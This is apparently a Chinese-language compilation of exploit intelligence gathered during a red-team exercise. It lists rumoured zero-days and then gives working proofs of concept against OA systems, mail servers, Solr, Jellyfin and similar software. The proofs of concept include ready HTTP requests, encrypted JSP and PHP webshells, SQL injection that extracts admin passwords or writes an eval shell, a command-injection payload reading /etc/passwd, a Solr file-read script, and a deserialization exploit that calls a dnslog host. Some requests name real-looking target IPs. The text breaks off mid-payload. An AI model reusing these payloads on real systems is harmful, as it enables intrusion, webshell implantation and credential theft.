索引
HW開始之前的
0x01 志遠OA任意用戶登錄
4月8號安全情報
4月8日15時，最新傳出WPS-0day利用方式，通過點擊觸發WPS內置瀏覽器RCE
4月8日12時，有消息傳出齊治堡壘機存在命令執行漏洞，poc疑似已流出
4月8日12時，網傳深信服EDR存在命令執行漏洞，poc疑似已流出
4月8日12時，網傳深信服VPN存在無條件RCE漏洞，poc疑似已流出
4月8日12時，網傳jackson存在反序列化漏洞，poc疑似已流出
4月8日12時，網傳CoreMai存在命令執行漏洞, poc疑似已流出
4月8日12時，網傳用友NC6.5版本存在反序列化命令執行漏洞，poc疑似已流出
4月8日12時，網傳dubbo存在反序列化命令執行漏洞，poc疑似已流出
4月8日12時，網傳weblogic存在反序列化命令執行漏洞，poc疑似已流出
4月8日11時，網傳和信創天雲桌面系統全版本存在命令執行，文件上傳，poc已流出
4月8日11時，網傳紅帆0A任意文件寫入漏洞，poc疑似已流出
4月8日11時，網傳exchange、 致遠、shiro 存在0day漏洞,利用方式疑似已流出
4月8日11時，網傳金蝶K3Cloud全版本存在命令執行，poc疑似已流出
4月8日11時，網傳用友U8Cloud版本存在命令執行，poc疑似已流出
4月8日11時，網傳h3c計算管理平臺2016年版存在任意賬戶添加，poc疑似已流出
4月8日11時，網傳啓明星辰天清漢馬USG防火牆存在邏輯缺陷，poc疑似已流出
4月8日10時，有消息傳出天眼存在0day漏洞，poc已流出
0x02 dzzoffice 前臺RCE
項目地址
https://github.com/zyx0814/dzzoffice/releases/
漏洞前提
首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章
我現在的環境的key爲：3090dfHwzmw9lsC3
加密腳本
<?php
function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));
輸出的加密結果
構造數據包：
POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1
Host: word.com
Content-Length: 18
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://word.com
Referer: http://word.com/user.php?mod=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?php phpinfo();?>
4月9號安全情報
0x03 JellyFin任意文件讀取
GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1
GET
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b
f3d8f7 HTTP/1.1
0x04 帆軟 V9getshell【歷史漏洞】
FineReport V9
注意: 這個漏洞是任意文件覆蓋，上傳 JSP 馬，需要找已存在的 jsp 文件進行覆蓋 Tomcat
啓動帆軟後默認存在的 JSP 文件:
比如：/tomcat-7.0.96/webapps/ROOT/index.jsp
覆蓋 Tomcat 自帶 ROOT 目錄下的 index.jsp:
POST /WebReport/ReportServer?
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1
Host: 192.168.169.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/81.0.4044.92 Safari/537.36
Connection: close
Accept-Au: 0c42b2f264071be0507acea1876c74
Content-Type: text/xml;charset=UTF-8
Content-Length: 675
{"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String
k=(\"\"+UUID.randomUUID()).replace(\"-
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher
c=Cipher.getInstance(\"AES\");c.init(2,new
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}
0x05 泛微 OA 8 前臺SQL注入
POC
http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=***注入點
使用Payload查詢數據庫中sysadmin的密碼
Select password as id from HrmResourceManager
http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%2
0id%20from%20HrmResourceManager
0x06 泛微 OA 9前臺無限制getshell
漏洞位置：
/page/exportImport/uploadOperation.jsp
文件上傳位置：
view-source:http://112.91.144.90:5006/page/exportImport/fileTransfer/1.jsp
wiki POC 鏈接https://github.com/PeiQi0/PeiQi-WIKI-POC/commit/f5fb98b0cc2c9dcc9b8adce41479cf836265419a
POST /page/exportImport/uploadOperation.jsp HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 397
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3Hc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
dnt: 1
x-forwarded-for: 127.0.0.1
Connection: close
------WebKitFormBoundary6XgyjB6SeCArD3Hc
Content-Disposition: form-data; name="file"; filename="peiqi.jsp"
Content-Type: application/octet-stream
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------WebKitFormBoundary6XgyjB6SeCArD3Hc--
```
地址: /page/exportImport/fileTransfer/peiqi.jsp
默認密碼 rebeyond
0x07 和信創天遠程桌面命令執行
POST /Upload/upload_file.php?l=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: x.x.x.x
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 164
------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/avif
1
------WebKitFormBoundaryfcKRltGv--
0x08 默安蜜罐管理平臺未授權問【官方闢謠】
漏洞信息
幻陣是默安科技首創的一款基於攻擊混淆與欺騙防禦技術的威脅檢測防禦系統，由於蜜罐管理平臺鑑權不完善，可導致攻擊者在未授權的情況下訪問管理頁面。默安官方發表通告並表示幻陣管理平臺存在於內網網址，攻擊者難以進行訪問，且儘管可以訪問也只能讓幻陣執行ping指令，不會造成任何安全隱患。
漏洞危害
由於蜜罐管理平臺鑑權不完善，可導致攻擊者在未授權的情況下訪問管理頁面。
官方闢謠
默安科技關注到業內有人散佈“默安科技幻陣管理後臺存在認證繞過漏洞”的不實消息，特此作出如下說明。
0x09 天擎越權訪問【官方闢謠】
POC
GET /api/dbstat/gettablessize HTTP/1.1
官方：近期，HW期間泄露情報，在Web登錄界面且未登錄的情況下會顯示提示信息，並且會涉及用戶組織，功能模塊授權過期時間等。天擎官方發表聲明並表示Web接口爲正常接口，不存在漏洞。
0x10 天擎前臺SQL注入漏洞【歷史漏洞】
PoC
https://<IP>/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to '<目標文件寫入路徑>';drop table O;--
利用方式
將首先創建新的數據庫表，後將數據庫內容更名爲webshell的目標名，最後刪除表清理痕跡。
官方闢謠
該漏洞爲內部已知問題，並且在2020年護網前的版本已經修復。
0x11 天融信數據防泄漏系統（LDP）越權修改管理員密碼【歷史漏洞】
漏洞信息:
天融信數據防泄漏系統越權修改管理員密碼，該漏洞爲2020年8月17號收到歷史情報，非近期HW期間漏洞。
POC
默認用戶superman的uid=1
POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1
0x11 藍凌OA任意寫入漏洞
POC
/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&FdParameters=[shellcode]
0x12 禪道11.6 SQL注入【歷史漏洞】
漏洞信息
11.6版本存在SQL注入漏洞，該漏洞爲Nday ，非HW期間0DAY
漏洞驗證
注入來源於禪道採用的pathinfo，在以下URL中
http://xxx.xxx/zentaopms_11.6/www/api-getModel-api-sql-sql=select+account,password+from+zt_user
對路徑的解析爲
getModel-<Model名字>-<Method名字>-<參數名字>=<參數的值>
0x13 Apache Solr 任意文件讀取漏洞【歷史漏洞】
漏洞信息
該漏洞是由於Apache Solr在默認安裝時不會開啓身份驗證，攻擊者在未授權情況下訪問Config API打開requestDispatcher.requestParsers.enableRemoteStreaming開關，進而通過構造惡意請求，執行SSRF攻擊，讀取目標服務器的任意文件。
影響範圍
Apache Solr <= 8.8.1
POC
http://ip//solr/db/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd (db爲存在的應用名)
POC2
http://ip//solr/db/debug/dump?param=ContentStreams(db爲存在的應用名)
POST提交：stream.url=file:///etc/passwd
# solr任意文件下載漏洞poc
# __coding=utf-8__
import requests
import json
import argparse
TIMEOUT = 20
def run(target: str, action: str):
try:
admin_url = target + "/solr/admin/cores?indexInfo=false&wt=json"
response = requests.get(admin_url, verify=False, timeout=TIMEOUT)
if response.status_code == 200 or "name" in response.text:
data = json.loads(response.content)
for i in data["status"]:
key = data["status"][i]["name"]
return attack(key, target, action)
except Exception as e:
error = "[-] {} run error:{}".format(target, str(e))
raise RuntimeError(error)
return None
def attack(core_name: str, target: str, action: str):
session = requests.session()
config_url = target + "/solr/" + core_name + "/config"
json_data = {"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": "true"}}
response = session.post(config_url, data=json.dumps(json_data), timeout=TIMEOUT)
if response and 200 != response.status_code: return None
dump_url = target + "/solr/" + core_name + "/debug/dump?param=ContentStreams"
dump_data = {"stream.url": action}
response = session.post(dump_url, data=dump_data, timeout=TIMEOUT)
if response is None:
return None
elif 200 == response.status_code:
content = json.loads(response.text)
return content['streams'][0]['stream']
elif 500 == response.status_code:
return response.text
else:
return None
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Solr 任意文件下載漏洞POC.')
parser.add_argument('-u',"--url",
help='solr attack target', required=True)
parser.add_argument('-a', '--action',
help='file or url', required=True)
args = parser.parse_args()
print("[+] check {} ,action:get {}".format(args.url, args.action))
result = run(args.url, args.action)
if result is None: print("[-] Not found vuln")
print("[+] The result is as follows:\n{}".format(result))
0x14 Apache solr SSRF（服務器端請求僞造）
影響版本
Apache Solr < 8.8.2
POC
/solr/db/replication\?command=fetchindex\&masterUrl=http://xxxx
參考鏈接
https://github.com/keven1z/SolrfilereadPOC
0x15 致遠OA ajax.do 文件上傳漏洞【歷史漏洞】
漏洞信息
由於致遠OA舊版本某些接口存在權限繞過漏洞，攻擊者通過特製的HTTP請求將導致接口的權限機制被繞過，並結合某些接口功能實現在未授權情況下上傳惡意文件，從而控制目標主機，經驗證，該漏洞爲2020年12月29日，致遠官網發佈的2020年10-12月安全通告中歷史漏洞。
影響範圍
致遠OA V8.0
致遠OA V7.1、V7.1SP1
致遠OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3
致遠OA V6.0、V6.1SP1、V6.1SP2
致遠OA V5.x
POC
POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
loginPageURL=; login_locale=zh_CN;
Content-Type: application/x-www-form-urlencoded
managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTY%C2%93%C2%A2H%10%7E%C3%9E%C3%BD%15%C2%84%2F%C3%9A%C3%9136%C2%82%C2%8C%C3%ADN%C3%ACC%7B%21%C2%A2%C2%A8%C2%A0%5C%1B%C3%BB%00U%C3%88a%15%C2%B0rH%C3%991%C3%BF%7D%0B%C2%B0%C2%A7%7Bb%7B%C3%AB%C2%A52%C2%B32%C2%BF%C3%8A%C3%BB%C2%AF%C3%97%C3%AE%29%C2%B9%C3%A0%029%07%C2%92z%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%B8%C2%96ts%2F%C3%8B%C2%BB%C3%AF%C3%A2y%C2%95%5E%C2%BC%2C%0B%C2%93%C2%B8%7E%C3%94%C3%B2K%18%C3%BBL%C3%AA%C3%A4%01%C3%B3%27%C3%93%C3%A9%C3%B7%C2%9F%C2%AE%C2%9E%C3%AB%C2%A4i%C3%B6%C2%94y%1EI%C3%A2%C2%A7%C3%8E%C3%B7%C3%9F%C2%99%C3%B6%C3%BC%169%C2%A5%C3%93%0F%C2%93%C3%BE%C2%8E%C2%9A%C3%A4%C3%86%25%C3%8C%C2%BD%0B%C2%93%C2%BE%C3%93%1C%05%C2%88%C2%BD%2B%C3%B3%C2%89Z%C2%AF%C3%86%7F%C3%AC%60%0C%C3%BBQ%C2%96V%C2%9D%C2%87%C2%9F%C2%A0%C3%8C%C3%9D%C2%81%2C%C3%B0%10%C2%AA%3D%C3%98%C2%89%C3%A9%0D%C3%8CR%C3%A2rcVZ%06%C2%B9%2B%0A%C2%B7-%C2%AEel%C3%A8%2CU%16%C3%8C%C2%92r%C3%8D%C2%A5%01%C3%84%C3%B3%02%C3%B0z%C2%B1%C3%86J%C3%A9jc%C3%B98x%29%C2%8F%C3%A2%22%C2%B65%C3%89%C2%87X%27%C2%80C%C2%A5%1B%C2%B1%C3%A1F%1B%12%29%1A%3E%3B%C2%B1r%C3%9Db5%05X%C2%8F%C2%A0%C2%888%5B%13%C2%AE%C2%96%01%C2%91%24%C2%A2%1C%C2%88c%02k%7C%C2%BC%C3%A0%2CM%18%C3%90%C3%B7l%1D%26Y%C3%83%C2%9B%7Ea%C3%B1%2B%01%2C%C3%95%C3%B2S%19%C3%85%C2%B5%C2%8DM%21%C2%87R%C2%B9%C2%8B%C2%AA%7F%00%C3%BF%C3%B2%C3%8D%16%C3%B5%C3%88%15%17%C3%842%C3%95%C3%94%C3%A5%C2%86%C2%8F%C2%92%C2%A8d%C2%96%C2%A9%C3%9C%C2%A4%C3%85%C3%91%C2%B7%C3%8D%C2%80%C2%B5%0D%C3%A1%0C%C3%88dFun%C2%80%C2%ADJ%C3%8BP%11%C2%88s%5D%C2%9E%C2%B7z%07q%1CP%0C%22%C2%89%C2%9B%C3%94%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%959%C3%86%C3%86%C3%9FsU%00%C3%B8%C2%8Do%C2%93+%C3%B4L%15I%C2%8B%1CZ%21%1A%C3%91%C3%B8Xh%C2%AE%0Ai%C3%99%C3%9A%C2%AD%C2%B1%C2%8Al%C2%8C%0A%C3%BB%C3%98b%C3%8B%C2%A2%C2%94m%C2%A6U%C2%B8%C3%86%15r1d%C2%9D%C3%A9yt2%C3%99g%C2%9A%C3%93%3A%C3%AFg%C3%9B%C2%A8%C3%B5V%01%C3%8D%01%C3%8D%C3%9F%3Do%C2%B1%12%01%C2%8C%C2%AEP%C2%AC%10%C2%9C%09%07%C2%B8%5C%C2%A5.%06%C2%BEscC%C3%BB%C2%B0%1F%C3%98%C2%87%0D%C3%99%1A6%C2%B2%22%C3%BD%C2%BC%3DH%03%2B%C2%94F%C2%80%C3%93oM%0DB%C3%A1%0AM%C3%95%C2%B0%C2%8Cj%60k%7E%085%29s%C3%88y%C2%B4%C3%A7%C3%90%C3%95ic%1C%C2%BF%C3%91k%0C%11%C2%9C%23ZW5p%C2%B1%C2%82%C3%A4%C3%A9j%C2%A2%C3%AA%C2%9BP%3E%C3%A4%C3%91%C2%9A%C3%86%C3%A0%C2%98%C3%BBd%13V%C2%85m%02%C3%BF%C3%88%C3%A9Q%1D%C2%AB%C3%86%C3%A9%C3%82%C2%91%C2%9F+%C2%8B%C3%B8%C3%89%C2%87%3Fc%C3%BB%C3%97%3FS%C2%99H%C2%A1%C2%AC5%C3%B2i%C2%9D%2F%40%C3%BCt%C3%BD%C2%86%C2%AF%C2%9DG.%C3%96yZ%C2%9F%04%C2%8AA%0AH%C2%A3%C3%97%C3%96%C2%A7%C3%96k%C3%BC%C3%BA%C2%B56%C3%B2%C3%B4L%C3%A5+%C2%B1%C2%88pvY%C2%9B%C3%A6c%C2%91%C3%89%C2%A2%C2%80+%C2%99%C3%9C%C2%A01%2C%5C%03%C3%9D%C3%A8%C3%9Bt%C2%AF%2B%0B%25R%C3%A74%C2%AF%C3%A5%C3%9D%C2%AEh%C3%BA%C2%83S%C3%91%3E%C3%96%C2%B1M%7BU%5E%C2%AE%100u%04%C3%B8%7Das%3A%7B%C3%84%C3%BA%C3%9B%1F%05%C2%A8i%3A%C2%B3.%3E%26%C3%94%C3%8F%C2%94%C3%86%40%C3%A3%C2%87%2B7VX%C3%8B%10%22%1A%1F%C3%B5C%C2%AF%C2%A0%C2%B1%C3%88%00%09%C2%9A%C2%9E%C3%9Es%C3%A3%02%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7%10%C3%87%C2%9C%C2%B0%C2%AE%C2%A8%C2%B3%C2%BB%C3%A8Z%C2%B6u%5D%C2%95.%C2%BF%7F%7C%C2%9Fq%26%2B%C3%A2%3E%0E3%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07%12H%C3%87%1C%C3%9E%C3%AFv%C3%82%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFIq%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87-%C3%93o%18%14%C3%B7%3E%C2%82%C3%BF%C2%9F.%40I%C3%A6Q%C3%87%7E%7C%C2%AF%C2%B7+%25%C2%A0wb%C2%B2%C3%9C%C3%89C%C3%80TU%C3%95%7Bx%C3%AD%C3%BE%C2%A0%C2%AB%C2%91%C2%AE%C3%87%C3%97%C3%BA%C3%8E%2F%C2%85%C3%97%C3%BD%C3%BB_%2F%07M%C2%ADU%05%00%00
冰蠍3默認japx馬pass:rebeyond
webshell地址:http://xxx.xxx.xxx.xxx/seeyon/mmd.jspx
成功返回
HTTP/1.1 500
{
"message":null,
"code":"0614448583",
"details":null
}
0x16 億郵電子郵件系統遠程命令執行
參考鏈接 https://github.com/Tas9er/EYouMailRCE
tools EYouMailRCE-master.zip
POC
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: 192.168.10.1
Content-Length: 25
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: EMPHPSID=ffah74s753ae239996a1mmbld0; empos=0
Connection: close
type='|cat /etc/passwd||'
0x17 其他漏洞信息
1、MYBB SQL 注入漏洞（CNVD-2021-25709）【可信度 100%】
MyBB 是款免費的開源論壇軟件。MyBB 1.8.26 之前版本的主題屬性存在 SQL 注入漏洞。
3、用友 NC 1DAY 反序列化【可信度 100%】
用友 NC 面向集團企業的世界級高端管理軟件，發現存在任意文件上傳漏洞，利用 apache commonscollections庫可執行反序列化。
4、釣魚郵件【可信度 100%】
來源網絡情報，發現釣魚郵件內含有惡意 execl 文件，文件點擊可造成遠程控制等威脅，微步在線已驗 證。
1）封禁 IP192.31.96.152；
2）注意惡意郵件後綴@rainmetal.cn，不要點擊此類郵件後綴發送的郵件。
5、和信創天雲桌面命令執行漏洞任意文件上傳【可信度 60%】
和信下代雲桌面系統（VENGD），是國內領先的基於 NGD架構的桌面虛擬化 產品，它融合了 VDI、VOI、IDV 三大架構優勢，實現了前後端混合計算，在調度服務器後端計算資源的 同時更能充分利用前端資源，和信下代雲桌面不僅可以滿足隨時隨地移動辦公的需求，更可以在窄帶環 境下實現 3D 高清播放和外設硬件的全面兼容，滿足大規模終端的管理、安全、運維需求。疑似和信創天 雲桌面存在任意文件上傳漏洞。
7、DZZOFFICE 最新版 RCE【可信度 100%】
DzzOffice是一款開源的雲存儲與應用管理工具，主要可用於企業管理阿里雲、亞馬遜等雲存儲等空間， 把空間可視化分配給成員使用。發現最新版存在 RCE，經驗證參數 bz 存在 SQL 注入漏洞。
8、深信服和致遠 OA 文件上傳漏洞情報【可信度 60%】
該情報屬於網絡情報暫無相關細節進行驗證。
9、F5 BIG-IP 16.0.X-ICONTROL REST 遠程代碼執行【可信度 100%】
F5 BIG-IP 是美國 F5 公司的款集成了網絡流量管理、應用程序安全管理、負載均衡等功能的應用交付平 臺。F5 BIG-IP 存在安全漏洞，該漏洞允許未經身份驗證的攻擊者通過 BIG-IP 管理界面和自身 IP 地址對iContronl REST 接口進行網絡訪問，以執行任意系統命令，創建或刪除文件以及禁用服務。
10、多款 HUAWEI 產品內存泄露漏洞【可信度 100%】
Huawei IPS Moudule 等都是中國華爲（Huawei）公司的產品。Huawei IPS Moudule 是一款入侵防禦系統 （IPS）模塊。NGFW Moudule 是一款下一代防火牆（NGFW）模塊。Secospace USG6600 是款下一代防 火牆產品。多款 Huawei產品存在內存泄露漏洞。由於產品在某些場景下對內存釋放處理不當，遠程攻擊 者可能會發送特定報文來觸發該漏洞。成功利用該漏洞可能導致服務異常。
11、通達 OA V11,7 在線任意用戶登錄【可信度 100%】
通達 OA V11.7 版本存在這任意用戶登錄漏洞，該漏洞需要管理員在線纔可以登錄系統，另外個方面就 是編譯在線的 瀈濼濷 值進行判斷。
12、CVE-2021-21975:VREALIZE OPERATIONS MANAGER SSRF【可信度 100%】
2021 年 3 月 31 日，VMWare 官方發佈了 VMSA-2021-0004 的風險通告，漏洞編號爲 CVE-2021-21975， CVE-2021-21983，漏洞等級：高危，漏洞評分 8.6。CVE-2021-21975：通過網絡訪問vRealize Operations Manager API 的惡意攻擊者可以執行服務器端請求僞造攻擊，以竊取管理憑據。
4月10號安全情報
0x18 用友NC 反序列化利用
漏洞關注點
/service/~xbrl/XbrlPersistenceServlet
EXP
import requests
import threadpool
import urllib3import sys
import base64
ip = ""
dnslog = "\x79\x37\x64\x70\" #dnslog把字符串轉16進制替換該段，測試用的ceye.io可以回顯
data = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x03\x4c\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x03\x4c\x00\x08\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x71\x00\x7e\x00\x03\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x03\x78\x70\xff\xff\xff\xff\x00\x00\x00\x50\x74\x00\x11"+dnslog+"\x3a\x38\x30\x74\x00\x00\x74\x00\x0e"+dnslog+"\x74\x00\x04\x68\x74\x74\x70\x70\x78\x74\x00\x18\x68\x74\x74\x70\x3a\x2f\x2f"+dnslog+"\x3a\x38\x30\x78"
uploadHeader={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}
req = requests.post("http://+"ip"+/service/~xbrl/XbrlPersistenceServlet", headers=uploadHeader, verify=False, data=data, timeout=25)
print (req.text)
0x19 用友NC協同管理軟件存在目錄遍歷漏洞
漏洞關注點
/NCFindWeb?service=IPreAlertConfigService&filename=
0x20 金山終端安全系統 V8存在默認口令
默認口令
admin/admin
0x21 金山終端安全系統 V8/V9存在文件上傳漏洞
漏洞關注點
dzz/shares/index.php
0x22 齊治堡壘機某版本任意用戶登錄
漏洞關注點
/audit/gui_detail_view.php
Fofa
app="齊治科技-堡壘機"
POC
/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm
0x23 Coremail 郵件系統任意文件上傳漏洞【歷史漏洞】
漏洞危害:
其特定版本範圍內存在任意文件上傳漏洞，攻擊者可以上傳webshell，從而造成遠程代碼執行。
影響範圍
Coremail <= XT5.x
漏洞復現:
使用網上流傳POC 進行驗證 https://github.com/xiaoshu-bit/CoreMailUploadRce
pip3 install -r requirements.txt
python3 coremail_upload.py -u http://127.0.0.1:1111
文件上傳poc：
POST /webinst/action.jsp HTTP/1.1
Host: 120.136.129.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Connection: close
func=checkserver&webServerName=127.0.0.1:6132/%0d@/home/coremail/web/webapp/justtest.jsp%20JUSTTEST
上傳文位置： http://ip:port/coremail/justtest.jsp
0x24 Apache Struts2補丁繞過0day(實際爲S2-052)【無POC】
影響版本
2.1.1到2.3.x之前的2.3.x和2.5.13之前的2.5.x
漏洞關注點：
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
原exp
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
